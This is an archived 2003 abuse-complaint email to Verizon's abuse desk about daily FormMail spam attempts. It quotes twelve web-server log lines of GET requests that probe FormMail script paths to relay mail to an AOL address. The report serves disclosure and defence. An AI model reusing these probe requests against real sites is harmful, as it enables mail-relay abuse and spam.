From: security curmudgeon (jericho@attrition.org)
To: abuse@dsl-verizon.net
Cc: Declan McCullagh (declan@well.com), Brian McWilliams (brian@pc-radio.com),
     christian.andersen@verizon.com
Date: Thu, 18 Sep 2003 23:53:20 -0400 (EDT)
Subject: Daily CGI Formmail Spam Attempts (fwd)


and they continue... guess i get to blackhole all of dsl-verizon.net from
this machine and a few others.

lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [18/Sep/2003:19:32:12 -0400] "GET /cgi-bin/FormMail.pl?realname=xvgye%20hfktte&recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/FormMail.pl&message=fkvmb%20jzcmqkayyxa%20spsivowyzvh%20wldbvg HTTP/1.1" 404 1864 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [18/Sep/2003:19:32:12 -0400] "GET /cgi-bin/formmail.pl?realname=awdiz%20ztmzlr&recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail.pl&message=ypxqs%20fzyvedozlom%20submnrwuiqa%20ktrlbg HTTP/1.1" 200 647 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [18/Sep/2003:19:32:13 -0400] "GET /cgi-bin/formmail/formmail.pl?realname=zdlzy%20gbdylz&recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail/formmail.pl&message=pofzj%20eahmddxxkpv%20jtivdkeczih%20skqsrw HTTP/1.1" 404 1904 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [18/Sep/2003:19:32:18 -0400] "GET /cgi-bin/formmail/formmail.cgi?realname=zvuzi%20pauzki&recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail/formmail.cgi&message=wxoya%20fzpuutwhlod%20kjrtvrdlhzq%20rbqszx HTTP/1.1" 404 1880 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [18/Sep/2003:21:16:47 -0400] "GET /cgi-bin/formmail.cgi?realname=jeuss%20rtmimb&recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail.cgi&message=phprt%20obpfxvpzuqx%20cttnguflsjs%20lnausp HTTP/1.1" 403 372 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [18/Sep/2003:21:16:47 -0400] "GET /cgi-bin/formmail.pl?realname=lnuzk%20qkdrcb&recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail.pl&message=pgpik%20xkqnwugrdzx%20dltdxcolabr%20beidsx HTTP/1.1" 200 647 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [18/Sep/2003:21:16:48 -0400] "GET /cgi-bin/formmail/formmail.cgi?realname=xayem%20uyydpm&recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail/formmail.cgi&message=bcsvf%20jeursrtmptb%20oowrsobpfev%20pzuqxc HTTP/1.1" 404 1916 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [18/Sep/2003:21:16:48 -0400] "GET /cgi-bin/formmail/formmail.pl?realname=zcrfx%20fhjfrg&recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail/formmail.pl&message=vnlfp%20lgnsjjdwkvb%20izibdqkifpn%20yjwzxc HTTP/1.1" 404 1829 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [18/Sep/2003:21:18:46 -0400] "GET /cgi-bin/formmail.cgi?realname=pkzee%20dgsvzo&recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail.cgi&message=uucef%20bnvrjacmacj%20izgssgkrfoe%20qzmzfc HTTP/1.1" 403 372 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [18/Sep/2003:21:18:46 -0400] "GET /cgi-bin/FormMail.pl?realname=hzkch%20kjoxei&recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/FormMail.pl&message=jozxl%20mdgpuoeccbe%20wadlzygbdzl%20apofzj HTTP/1.1" 404 1812 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [18/Sep/2003:21:18:47 -0400] "GET /cgi-bin/formmail/FormMail.cgi?realname=srumj%20mbphpr&recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail/FormMail.cgi&message=tpbqf%20xvpzvqxcttn%20guflsjslnau%20spzxit HTTP/1.1" 404 1854 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
lsanca2-ar36-4-63-162-008.lsanca2.dsl-verizon.net - - [18/Sep/2003:21:18:47 -0400] "GET /cgi-bin/formmail/formmail.pl?realname=hkzgg%20oprnzh&recipient=piscesali@aol.com&email=WantDis@aol.com&subject=http://www.attrition.org/cgi-bin/formmail/formmail.pl&message=dvmnx%20movtlreeswc%20qaqclylrnxo%20arxaye HTTP/1.1" 404 1850 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"



main page ATTRITION feedback